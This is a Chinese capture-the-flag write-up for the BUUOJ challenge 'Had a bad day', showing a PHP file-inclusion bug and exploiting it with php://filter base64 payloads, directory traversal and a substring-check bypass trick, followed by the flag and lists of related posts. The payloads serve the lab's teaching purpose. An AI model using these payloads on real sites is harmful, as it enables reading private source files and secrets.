主要考察文件包含以及php://filter伪协议的一个小trick。题目很简单,但是因为不知道这个trick卡了很久,记录一下

进入题目看到有两个按钮,没有其他信息:

点击按钮显示出来一张图片,然后发现URL变成了:

http://0d01386f-60a4-4890-9723-b12f3a9eb35c.node3.buuoj.cn/index.php?category=woofers

怀疑是SQL注入或者是文件包含,随便输入一个值返回了PHP报错:

确定是文件包含漏洞,直接包含/flag发现包含不到,先用php://filter伪协议读一下index.php源码看看:

php://filter/read=convert.base64-encode/resource=index

(这里构造成php://filter/read=convert.base64-encode/resource=index.php是会报错的,因为后端给文件后拼接了“.php”)

得到index.php源码:

......<以上HTML省略>
<?php
  $file = $_GET['category'];
  
  if(isset($file))
  {
    if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ //必须含有woofers或meowers或index字符串
      include ($file . '.php'); //参数后拼接.php
    }
    else{
      echo "Sorry, we currently only support woofers and meowers.";
    }
  }
?>
......<以下HTML省略>

利用include函数特性包含一下flag.php文件试试:

index.php?category=woofers/../flag

发现源码中多出了一些东西,说明flag.php被包含了进去:

接下来的问题就是如何读取到flag.php的源码。

这里卡了好久,后来请教了几位师傅才知道php://filter伪协议可以套一层协议,就像:

php://filter/read=convert.base64-encode/woofers/resource=index

这样提交的参数既包含有woofers这个字符串,也不会影响正常的包含,得到Flag.php:

解码得到Flag:

<!-- Can you read this flag? -->
<?php
// flag{a4aaba40-84f9-4b7a-b269-d025b03676a1}
?>

[BUUOJ记录] [BSidesCF 2020]Had a bad day的更多相关文章

  1. [BUUOJ记录] [GYCTF]EasyThinking

    主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...

  2. [BSidesCF 2020]Had a bad day

    [BSidesCF 2020]Had a bad day 测试 一些猫狗的图片加上url有传参,测试到文件包含时报错了. 使用php伪协议: php伪协议 php://fliter/read=conv ...

  3. [BUUOJ记录] [HCTF 2018]WarmUp

    BUUOJ Web的第一题,其实是很有质量的一道题,但是不知道为什么成了Solved最多的题目,也被师傅们笑称是“劝退题”,这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-20 ...

  4. [BUUOJ记录] [BJDCTF 2nd]old-hack & Schrödinger & elementmaster

    三道比较简单的的题放一起一写,old-hack是ThinkPHP框架的一个nday,Schrödinger和elementmaster没啥考点,就是脑洞 一.old-hack 进入题目没发现什么Hi ...

  5. [BUUOJ记录] [BJDCTF 2nd]文件探测

    感觉算是这次比赛里面综合性很强的一道题了,主要考察SSRF.PHP伪协议包含.挖掘逻辑漏洞和一个小tirck.委屈的是第一天晚上就做到了最后一步,想到了SESSION置空即可绕过,但是最后读Flag姿 ...

  6. [BUUOJ记录] [BJDCTF 2nd]fake google

    本题考查python jinjia2的ssti,其实tplmap直接梭哈都可以 随便输入一个值,查看源代码就能看到一个Hint: 用下面的流程图测试一下,看看是什么模板引擎: 用Payload测试之后 ...

  7. [BUUOJ记录] [BJDCTF2020]The mystery of ip

    本题考察XFF头的ssti模板注入,没有过滤,算是入门题 进入题目hint.php的源码中可以看到一个hint 猜测是通过XFF头来获取信息的,发个HTTP请求添加一个XFF头测试一下: GET /f ...

  8. [BUUOJ记录] [CISCN 2019 初赛]Love Math & [NESTCTF 2019]Love Math 2

    主要考察利用已有函数构造危险函数绕过,实现RCE. 进入题目给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isse ...

  9. [BUUOJ记录] [极客大挑战 2019]RCE ME

    前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...

随机推荐

  1. 薪资高,福利好,会Python的人就是这么豪横!

    很多人可能会有这样的疑问,数据分析Excel挺强大的,会Excel就行,为什么还要去学python? 是的,Excel和python对于数据分析而言,这两者都只是不同的工具而已. 很多人学习pytho ...

  2. 每日一道 LeetCode (10):搜索插入位置

    每天 3 分钟,走上算法的逆袭之路. 前文合集 每日一道 LeetCode 前文合集 代码仓库 GitHub: https://github.com/meteor1993/LeetCode Gitee ...

  3. dom4j基本操作

    DOM4J与利用DOM.SAX.JAXP机制来解析xml相比,DOM4J 表现更优秀,具有性能优异.功能强大和极端易用使用的特点,只要懂得DOM基本概念,就可以通过dom4j的api文档来解析xml. ...

  4. docker,容器,编排,和基于容器的系统设计模式

    目录 从容器说起 背景 docker实现原理 编排之争 基于容器的分布式系统设计之道 单节点协作模式 Sidecar pattern(边车模式) Ambassador pattern(外交官模式) A ...

  5. C#LeetCode刷题之#788-旋转数字(Rotated Digits)

    问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3967 访问. 我们称一个数 X 为好数, 如果它的每位数字逐个地 ...

  6. C#LeetCode刷题之#849-到最近的人的最大距离(Maximize Distance to Closest Person)

    问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3754 访问. 在一排座位( seats)中,1 代表有人坐在座位 ...

  7. 多次调用Promise的then会返回什么?

    //做饭 function cook(){ console.log('开始做饭.'); var p = new Promise(function(resolve, reject){ //做一些异步操作 ...

  8. C++统计单词数

    [题目描述] 一般的文本编辑器都有查找单词的功能,该功能可以快速定位特定单词在文章中的位置,有的还能统计出特定单词在文章中出现的次数.现在,请你编程实现这一功能,具体要求是:给定一个单词,请你输出它在 ...

  9. XSS的构造技巧

    XSS的构造技巧 By:Mirror王宇阳 E-mail:2821319009@qq.com 本文为长期持续维护,一旦遇到新的技术技巧将及时更新本文内容 非常的欢迎技术大佬纠正并补充,也欢迎技术同僚讨 ...

  10. JavaScript学习系列博客_6_JavaScript中的算数运算符

    运算符(操作符) 在JS中 +.-.*./.%这些都是算数运算符,typeof也是一个运算符,它的操作结果就是得到一个描述变量数据类型的字符串. + 运算符 1.两个值在都没有string类型的值的情 ...